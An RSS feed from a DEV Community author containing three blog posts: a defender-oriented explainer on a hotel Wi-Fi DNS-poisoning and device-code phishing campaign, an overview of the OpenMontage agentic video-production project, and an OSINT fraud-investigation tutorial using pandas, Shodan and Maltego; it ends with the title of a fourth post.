<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Arashad Dodhiya</title>
    <description>The latest articles on DEV Community by Arashad Dodhiya (@arashad_dodhiya_0e4bdba5a).</description>
    <link>https://dev.to/arashad_dodhiya_0e4bdba5a</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3676094%2F44443da4-e92a-4c56-9139-54d04da1f682.jpg</url>
      <title>DEV Community: Arashad Dodhiya</title>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/arashad_dodhiya_0e4bdba5a"/>
    <language>en</language>
    <item>
      <title>You Just Connected to Hotel Wi-Fi. Here's What Happened Next.</title>
      <dc:creator>Arashad Dodhiya</dc:creator>
      <pubDate>Fri, 24 Jul 2026 14:19:31 +0000</pubDate>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a/you-just-connected-to-hotel-wi-fi-heres-what-happened-next-4ko6</link>
      <guid>https://dev.to/arashad_dodhiya_0e4bdba5a/you-just-connected-to-hotel-wi-fi-heres-what-happened-next-4ko6</guid>
      <description>&lt;p&gt;You land, check into your conference hotel, and drop your bag on the bed. First instinct: open your laptop, connect to the Wi-Fi, check email. The network name looks right. The captive portal page looks right. You click "Accept and Connect," and you're in.&lt;/p&gt;

&lt;p&gt;Nothing about that moment feels dangerous. That's the point.&lt;/p&gt;

&lt;h2&gt;
  
  
  The router isn't yours — and it isn't clean
&lt;/h2&gt;

&lt;p&gt;The Wi-Fi gateway you just joined isn't managed by hotel IT in any meaningful sense. It's a shared appliance, sitting on a management interface that's been exposed to the internet for months, protected by a default or reused admin password nobody ever bothered to change.&lt;/p&gt;

&lt;p&gt;Researchers at ReliaQuest recently mapped out exactly this scenario: attackers scanning the internet for hotel and conference-venue Wi-Fi gateways, breaking in through exposed SSH, SNMP, or web admin consoles, and quietly taking control. Once they're in, they don't deface anything or lock you out. They do something far quieter — they change how the router answers DNS questions.&lt;/p&gt;

&lt;p&gt;That's the whole attack, really. Not malware on your laptop. Not a fake Wi-Fi network with an evil twin name. Just a small, silent edit to the address book your device trusts by default.&lt;/p&gt;

&lt;h2&gt;
  
  
  The lookup you never see
&lt;/h2&gt;

&lt;p&gt;Every time your laptop tries to reach a website, it asks the network "where do I find this?" before it asks "what does this page say?" That first question — the DNS lookup — normally gets an honest answer.&lt;/p&gt;

&lt;p&gt;On a poisoned router, it doesn't. You type in your usual login page. Your laptop asks the router where to find it. The router — now working for someone else — lies, and points you toward infrastructure the attacker controls instead.&lt;/p&gt;

&lt;p&gt;Your browser still shows what looks like the right destination. There's no red padlock warning, no obvious redirect, no moment where anything &lt;em&gt;feels&lt;/em&gt; wrong. You're on what appears to be your normal sign-in page, so you do what you always do: you sign in.&lt;/p&gt;

&lt;h2&gt;
  
  
  The part that should actually worry you
&lt;/h2&gt;

&lt;p&gt;Here's where this campaign gets uncomfortable, even for people who consider themselves careful. Multi-factor authentication is supposed to be the safety net under all of this. If someone steals your password, MFA is meant to stop them cold.&lt;/p&gt;

&lt;p&gt;Researchers found this campaign doesn't bother stealing your password at all. Instead, the attacker-controlled infrastructure serves up a device-code login flow — the same kind of "go to this page and enter this code" prompt you'd see when signing into a smart TV app or a new device. You enter the code because it looks like a routine step. And with that, the attacker walks away with a fully authenticated session, MFA and all, without ever touching your credentials directly.&lt;/p&gt;

&lt;p&gt;You didn't get phished in the traditional sense. You didn't fall for a fake login page or a typo'd domain. You did everything "right" and still handed over the keys.&lt;/p&gt;

&lt;h2&gt;
  
  
  This isn't a hypothetical
&lt;/h2&gt;

&lt;p&gt;This is an active campaign, and it isn't small. Compromised gateways have turned up across multiple U.S. cities, India, and Saudi Arabia, hitting travelers from finance, legal, healthcare, energy, and retail organizations. Researchers say the technique closely resembles tradecraft previously linked to APT28 — the Russian military intelligence group also known as Fancy Bear — which has a track record of exactly this kind of router-level DNS tampering.&lt;/p&gt;

&lt;p&gt;One compromised gateway doesn't attack one laptop. It sits at the edge of the network for every device that connects that day. A single successful break-in can quietly touch every guest who logs in during a conference, a trade show, or a busy travel week.&lt;/p&gt;

&lt;h2&gt;
  
  
  What actually stops this
&lt;/h2&gt;

&lt;p&gt;The uncomfortable truth is that none of the usual advice — "look for the padlock," "check the URL" — reliably catches this, because the URL and the certificate can look completely normal while the DNS answer underneath them is lying. The fix has to happen at a different layer:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Always-on, full-tunnel VPN on corporate devices.&lt;/strong&gt; This routes DNS requests through your own trusted resolvers before they ever reach the hotel gateway, which closes the door on this attack entirely.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Disable Web Proxy Auto-Discovery (WPAD)&lt;/strong&gt; on managed devices, so they can't be silently pointed at attacker-controlled proxy configs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Train people to be suspicious of device-code prompts&lt;/strong&gt;, not just fake login pages. "Enter this code on another screen" should raise the same eyebrow as "click this link" — especially on a network you don't control.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Treat every public or shared Wi-Fi network as hostile by default&lt;/strong&gt; — hotel, conference center, airport, coworking space. The network being "official-looking" tells you nothing about who's actually running the equipment behind it.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The takeaway
&lt;/h2&gt;

&lt;p&gt;You didn't do anything wrong by connecting to hotel Wi-Fi and checking your email. That's just Tuesday for a business traveler. The problem was never your judgment — it was that the network itself was compromised before you ever showed up, and the compromise was engineered to be invisible to exactly the kind of vigilance we usually tell people to practice.&lt;/p&gt;

&lt;p&gt;The next time you check into a conference hotel, the safest assumption isn't "this network looks fine." It's "I don't know who's really running this network, so my device shouldn't trust it with anything sensitive." Build your defenses around that assumption, and it stops mattering whether the Wi-Fi looks legitimate — because your traffic never really depends on it in the first place.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Sources: ReliaQuest Threat Spotlight, July 2026; reporting from Infosecurity Magazine and Cyber Security News on the ongoing hospitality-sector DNS poisoning campaign.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>cybersecurity</category>
      <category>infosec</category>
      <category>network</category>
    </item>
    <item>
      <title>OpenMontage: The Open-Source Project Turning Your AI Coding Assistant Into a Full Video Studio</title>
      <dc:creator>Arashad Dodhiya</dc:creator>
      <pubDate>Sat, 18 Jul 2026 14:25:04 +0000</pubDate>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a/openmontage-the-open-source-project-turning-your-ai-coding-assistant-into-a-full-video-studio-4p95</link>
      <guid>https://dev.to/arashad_dodhiya_0e4bdba5a/openmontage-the-open-source-project-turning-your-ai-coding-assistant-into-a-full-video-studio-4p95</guid>
      <description>&lt;p&gt;If you've spent any time on GitHub Trending this month, one name keeps climbing the charts: &lt;strong&gt;OpenMontage&lt;/strong&gt;. It's not another wrapper around a text-to-video API. It's something stranger and more ambitious — an attempt to turn the AI coding assistant already living in your terminal (Claude Code, Cursor, Copilot, Windsurf, Codex) into an entire video production studio.&lt;/p&gt;

&lt;p&gt;No timeline software. No render farm subscription. Just a prompt, a pipeline, and an agent that knows how to direct.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Problem It's Solving
&lt;/h2&gt;

&lt;p&gt;Most "AI video" tools today do one thing: they take a prompt and spit out a few seconds of generated footage. That's impressive as a demo, but it's not &lt;em&gt;production&lt;/em&gt;. Real video work involves research, scripting, voiceover, asset sourcing, editing rhythm, color, pacing, and a dozen small quality decisions that a single model call can't make.&lt;/p&gt;

&lt;p&gt;OpenMontage's core idea is to stop treating video generation as one giant black-box request and instead treat it the way an actual production team would: as a structured, multi-stage workflow, with your AI assistant acting as director, editor, and producer all at once.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's Actually Inside
&lt;/h2&gt;

&lt;p&gt;The numbers alone make it clear this isn't a weekend hack:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;12 pipelines&lt;/strong&gt; — structured workflows for different video formats and goals&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;52 tools&lt;/strong&gt; — the building blocks pipelines call on for research, generation, and editing&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;500+ agent skills&lt;/strong&gt; — instruction sets that teach the AI &lt;em&gt;how&lt;/em&gt; to use those tools well, not just &lt;em&gt;that&lt;/em&gt; it can&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That last point is the real design philosophy behind the project. The intelligence isn't baked into clever code — it's baked into the skills themselves. Before touching a tool, the agent is expected to read a "stage director" skill file that explains how a competent editor would approach that exact stage of production. The result, according to the project, is a noticeably better final product than an agent improvising with generic prompts.&lt;/p&gt;

&lt;h2&gt;
  
  
  Real Footage, Not Just Animated Stills
&lt;/h2&gt;

&lt;p&gt;Here's the detail that separates OpenMontage from the usual AI-video demo reel: it can build videos out of &lt;em&gt;actual motion footage&lt;/em&gt;, not just a slideshow of AI-generated images with a Ken Burns pan slapped on top.&lt;/p&gt;

&lt;p&gt;The agent builds a corpus from free stock footage and open archives, retrieves genuine motion clips relevant to the script, edits them into a timeline, and renders a finished piece — the same basic workflow a human editor would follow when cutting a documentary segment together, just automated end to end.&lt;/p&gt;

&lt;p&gt;That's not to say it skips generative media entirely — image and video generation providers are supported too — but the framework treats "find real footage" as a first-class option, which is a meaningfully different design choice than most tools in this space.&lt;/p&gt;

&lt;h2&gt;
  
  
  How a Request Actually Flows
&lt;/h2&gt;

&lt;p&gt;The project's &lt;code&gt;AGENT_GUIDE.md&lt;/code&gt; lays out a strict contract for how the agent should behave, and it reads less like API docs and more like a studio's standard operating procedure:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Identify the pipeline&lt;/strong&gt; — match the user's request to one of the pipeline definitions. If it's ambiguous, ask.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Read the pipeline manifest&lt;/strong&gt; — understand the stages, tools, and quality gates before doing anything.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Run preflight&lt;/strong&gt; — check what tools and providers are actually available.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Present the capability menu&lt;/strong&gt; — tell the user what's possible given their setup.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Execute stage by stage&lt;/strong&gt; — for each stage, read the relevant director skill &lt;em&gt;before&lt;/em&gt; calling any tools.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The stated goal is blunt: get a user from "curious" to "making a video" in under 60 seconds for a clear, specific request — while still enforcing real quality gates instead of just shipping the first generation it gets.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Matters Beyond One Repo
&lt;/h2&gt;

&lt;p&gt;OpenMontage is a good example of a broader shift happening in agentic tooling right now: instead of building narrower and narrower single-purpose AI apps, developers are building &lt;strong&gt;skill libraries and orchestration layers&lt;/strong&gt; on top of general-purpose coding agents. The agent becomes the runtime; the skills become the expertise.&lt;/p&gt;

&lt;p&gt;It's the same pattern showing up in AI-assisted job applications, code intelligence servers, and design-review tools — take a capable general agent, hand it a well-documented domain playbook, and let it act like a specialist. OpenMontage just happens to apply that pattern to something as messy and creative as video production, which is what makes it fun to watch.&lt;/p&gt;

&lt;h2&gt;
  
  
  Getting Started
&lt;/h2&gt;

&lt;p&gt;The project is open source under AGPL-3.0, with setup and provider documentation (including free-tier options) covered in its &lt;code&gt;docs/PROVIDERS.md&lt;/code&gt; and &lt;code&gt;docs/ARCHITECTURE.md&lt;/code&gt;. If you already have Claude Code, Cursor, or a similar assistant configured, the barrier to trying it is mostly just cloning the repo and pointing your agent at it.&lt;/p&gt;

&lt;p&gt;Community show-and-tell happens in GitHub Discussions, where people are already posting finished videos and the prompts that produced them — worth a browse before you dive in, just to calibrate expectations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Repo:&lt;/strong&gt; &lt;a href="https://github.com/calesthio/OpenMontage" rel="noopener noreferrer"&gt;github.com/calesthio/OpenMontage&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Have you tried building a pipeline-driven agent tool for a creative domain outside of coding? I'd love to hear what you're working on — drop a comment below.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>opensource</category>
      <category>webdev</category>
      <category>productivity</category>
    </item>
    <item>
      <title>Recreating the ATM Heist Investigation from Pritam &amp; Pedro Using Real OSINT Tools</title>
      <dc:creator>Arashad Dodhiya</dc:creator>
      <pubDate>Wed, 15 Jul 2026 12:32:01 +0000</pubDate>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a/recreating-the-atm-heist-investigation-from-pritam-pedro-using-real-osint-tools-5a35</link>
      <guid>https://dev.to/arashad_dodhiya_0e4bdba5a/recreating-the-atm-heist-investigation-from-pritam-pedro-using-real-osint-tools-5a35</guid>
      <description>&lt;p&gt;In the opening episode of &lt;em&gt;Pritam and Pedro&lt;/em&gt; (JioHotstar's new cybercrime buddy-cop drama), a young hacker cracks an ₹28-lakh ATM theft case in "15 minutes" — mostly off-screen, mostly unexplained, and mostly movie magic.&lt;/p&gt;

&lt;p&gt;That got me thinking: &lt;strong&gt;what would this investigation actually look like&lt;/strong&gt; if a real cyber cell or fraud investigation team picked it up?&lt;/p&gt;

&lt;p&gt;Not the "typing fast = hacking" version. The real one — the boring, methodical, tool-assisted version that actually catches people.&lt;/p&gt;

&lt;p&gt;This post walks through the real-world investigative workflow for a financial cybercrime case like an ATM fraud/skimming incident, and the OSINT (Open-Source Intelligence) tools investigators and threat intel analysts actually reach for. I'll set up a practice environment so you can follow along with your own version of the "case."&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;⚠️ &lt;strong&gt;Scope note:&lt;/strong&gt; Everything here is about the &lt;em&gt;investigative/defensive&lt;/em&gt; side — how fraud gets traced and attributed after the fact. This is not a guide to committing fraud, bypassing ATM security, or accessing any system you don't own or have explicit authorization to test. All tool usage below should be practiced only on your own accounts, lab environments, or data you're authorized to analyze.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  The Case File (Our Fictional Scenario)
&lt;/h2&gt;

&lt;p&gt;Let's build a simple, self-contained scenario to investigate — the kind you'd see in a beginner digital forensics module:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;An ATM reports 40 unusual withdrawal transactions overnight, all just under the reporting threshold.&lt;/li&gt;
&lt;li&gt;The bank's fraud team flags a cluster of transactions tied to a handful of card numbers.&lt;/li&gt;
&lt;li&gt;A suspicious IP address shows up repeatedly in the bank's web portal login logs around the same time — someone was checking balances online before each withdrawal.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That's actually a very realistic starting point. Most financial cybercrime investigations don't start with "the hacker's screen typing green code" — they start with &lt;strong&gt;transaction logs and login logs&lt;/strong&gt;, because the paper trail (or in this case, digital trail) is what everything else hangs off of.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 1: Start With the Transaction Logs, Not the "Hack"
&lt;/h2&gt;

&lt;p&gt;Before touching any external tool, an investigator's first move is always internal: pull the structured data.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Transaction timestamps&lt;/strong&gt; — do withdrawals cluster in a tight time window? That suggests automation or a coordinated team rather than one person.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Amount patterns&lt;/strong&gt; — repeated withdrawals just under a reporting/alert threshold is a classic structuring pattern (similar to "smurfing" in money laundering).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Card BIN (Bank Identification Number) analysis&lt;/strong&gt; — the first 6-8 digits of a card number tell you the issuing bank and card type, which helps investigators figure out if compromised cards came from one breach source or several.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can practice this kind of pattern analysis with nothing more than a spreadsheet and a public synthetic fraud dataset. Kaggle hosts several credit-card-fraud datasets built exactly for this kind of exploratory analysis — great for practicing anomaly detection with pandas before you ever touch an OSINT tool.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pandas&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;

&lt;span class="n"&gt;df&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read_csv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;synthetic_transactions.csv&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Flag transactions clustered within a short time window
&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;timestamp&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_datetime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;timestamp&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;df&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sort_values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;timestamp&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;gap_seconds&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;timestamp&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;diff&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;total_seconds&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;suspicious&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;gap_seconds&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;  &lt;span class="c1"&gt;# withdrawals &amp;lt;90s apart
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;suspicious&lt;/span&gt;&lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;timestamp&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;amount&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;card_id&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;atm_id&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This kind of log-first thinking is what actually opens a case — not a dramatic hacking montage.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 2: Pivot From the IP Address
&lt;/h2&gt;

&lt;p&gt;Once the bank's fraud team hands off the suspicious login IP, this is where OSINT tooling starts to matter.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Shodan&lt;/strong&gt; is a search engine for internet-connected devices and infrastructure — not for finding &lt;em&gt;people&lt;/em&gt;, but for understanding &lt;em&gt;infrastructure&lt;/em&gt;. If the suspicious IP turns out to belong to a VPS, a compromised IoT device, or an open proxy, Shodan can help characterize what that IP actually is:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Is it a residential IP, a data-center IP, or a known VPN/proxy exit node?&lt;/li&gt;
&lt;li&gt;What ports and services are exposed on it? (An open RDP port or unpatched service on that IP might explain &lt;em&gt;how&lt;/em&gt; it got compromised in the first place, if it belongs to an innocent third party being used as a relay.)&lt;/li&gt;
&lt;li&gt;Has that IP shown up associated with known malicious infrastructure before, per Shodan's tagging?
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Example Shodan CLI query — checking what's exposed on a given host
shodan host &amp;lt;ip_address&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp6tvnh1mqydvgbs25hnx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp6tvnh1mqydvgbs25hnx.png" alt=" " width="800" height="482"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This step usually tells investigators one of two things: either the IP belongs to the actual perpetrator's infrastructure (rare — most aren't that careless), or — far more commonly — it's a compromised machine or proxy being used to obscure the real origin, which becomes its own sub-investigation.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 3: Build the Relationship Graph With Maltego
&lt;/h2&gt;

&lt;p&gt;This is the part TV shows love to compress into a single dramatic zoom-in on a screen. In reality, it's slower and far more valuable: &lt;strong&gt;link analysis&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Maltego&lt;/strong&gt; is an OSINT and link-analysis platform used to visually map relationships between entities — domains, IPs, email addresses, usernames, organizations, and more — by chaining together "transforms" that pull data from various public sources.&lt;/p&gt;

&lt;p&gt;For our case, an investigator might build a graph starting from:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The suspicious IP → what domains resolve to/from it&lt;/li&gt;
&lt;li&gt;Any domains → WHOIS registration data (registrant email, registrar, creation date)&lt;/li&gt;
&lt;li&gt;Registrant email → any other domains registered with the same email (a common pattern for repeat fraud infrastructure)&lt;/li&gt;
&lt;li&gt;Any exposed usernames or handles → associated social media or forum presence&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fi7wkeg7kwgzep9bdbqov.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fi7wkeg7kwgzep9bdbqov.png" alt=" " width="800" height="463"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The value of Maltego isn't "finding the hacker's Facebook profile" (that's the Hollywood version). It's &lt;strong&gt;finding infrastructure reuse&lt;/strong&gt; — attackers are humans, and humans are lazy. They reuse email addresses, hosting providers, naming conventions, and payment methods across multiple operations. That reuse is what eventually connects one case to a broader pattern, and that pattern is what makes a case prosecutable.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 4: Cross-Reference With Breach &amp;amp; Leak Intelligence
&lt;/h2&gt;

&lt;p&gt;If the fraud team suspects the cards were compromised via a data breach (skimmer, phishing campaign, or a leaked database) rather than physical card cloning, the next step is checking whether the compromised card data or associated emails appear in known breach corpora.&lt;/p&gt;

&lt;p&gt;Tools and services investigators commonly use here:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Have I Been Pwned&lt;/strong&gt; (for checking if an email/domain appears in known breaches)&lt;/li&gt;
&lt;li&gt;Threat-intel platforms that index leaked credential dumps (used by professionals under proper authorization, not casually)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This step matters because it tells you whether you're looking at a &lt;strong&gt;targeted attack&lt;/strong&gt; on this specific bank/ATM network, or a &lt;strong&gt;downstream consequence&lt;/strong&gt; of an unrelated breach where stolen card data is simply being cashed out — two very different investigations with very different next steps.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 5: Timeline Correlation — Where It All Comes Together
&lt;/h2&gt;

&lt;p&gt;The final step is boring, and it's also the one that actually convicts people: correlating everything onto a single timeline.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Login timestamp (from bank logs) →&lt;/li&gt;
&lt;li&gt;IP infrastructure lookup (Shodan) →&lt;/li&gt;
&lt;li&gt;Domain/registrant pivot (Maltego) →&lt;/li&gt;
&lt;li&gt;Breach association (HIBP or equivalent) →&lt;/li&gt;
&lt;li&gt;Physical withdrawal timestamp and ATM location (from the original transaction logs)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When all five line up into a coherent, time-ordered story, that's a case. When they don't, you've likely found a false positive or a much messier multi-actor situation — which, incidentally, is closer to how real fraud rings actually operate than the show's tidy single-genius-hacker narrative.&lt;/p&gt;




&lt;h2&gt;
  
  
  What the Show Gets Wrong (And Why That's Worth Knowing)
&lt;/h2&gt;

&lt;p&gt;If you're studying for a SOC analyst, fraud investigation, or digital forensics role, it's genuinely useful to notice &lt;em&gt;why&lt;/em&gt; the dramatized version is wrong:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Real investigations are cross-team.&lt;/strong&gt; Bank fraud analysts, law enforcement, and cybercrime cell investigators each hold a different piece — no lone genius has access to all of it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Attribution takes days to weeks, not minutes.&lt;/strong&gt; Link analysis across WHOIS records, breach data, and infrastructure reuse is iterative and often hits dead ends.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Most cases are solved through infrastructure reuse and human error&lt;/strong&gt;, not a dramatic one-shot hack.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That gap between fiction and practice is exactly why walking through a fake case like this is a good learning exercise — it forces you to think in terms of &lt;em&gt;evidence chains&lt;/em&gt; rather than &lt;em&gt;hacking scenes&lt;/em&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Try It Yourself
&lt;/h2&gt;

&lt;p&gt;If you want to practice this workflow hands-on:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Grab a public synthetic fraud dataset (Kaggle has several) and practice the pandas anomaly-detection step above.&lt;/li&gt;
&lt;li&gt;Set up free-tier accounts for Shodan and Maltego Community Edition, and practice pivoting on infrastructure you own or that's explicitly designated for public lookup practice (e.g., your own test domain/IP).&lt;/li&gt;
&lt;li&gt;Try building a simple timeline-correlation spreadsheet that links your synthetic transaction data to fictional "IP lookup" and "domain registration" entries you create yourself.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;None of this requires touching a real bank, a real ATM, or anyone else's data — and that's the point. The investigative &lt;em&gt;methodology&lt;/em&gt; is the transferable skill, regardless of the dataset.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Have you tried building out OSINT link-analysis workflows for practice? I'd love to hear what datasets or lab setups you've used — drop them in the comments.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>osint</category>
      <category>digitalforensics</category>
      <category>python</category>
    </item>
    <item>
      <title>This Week in Breaches: What HSIN and Accenture Teach Us About Life After the Break-In</title>
      <dc:creator>Arashad Dodhiya</dc:creator>
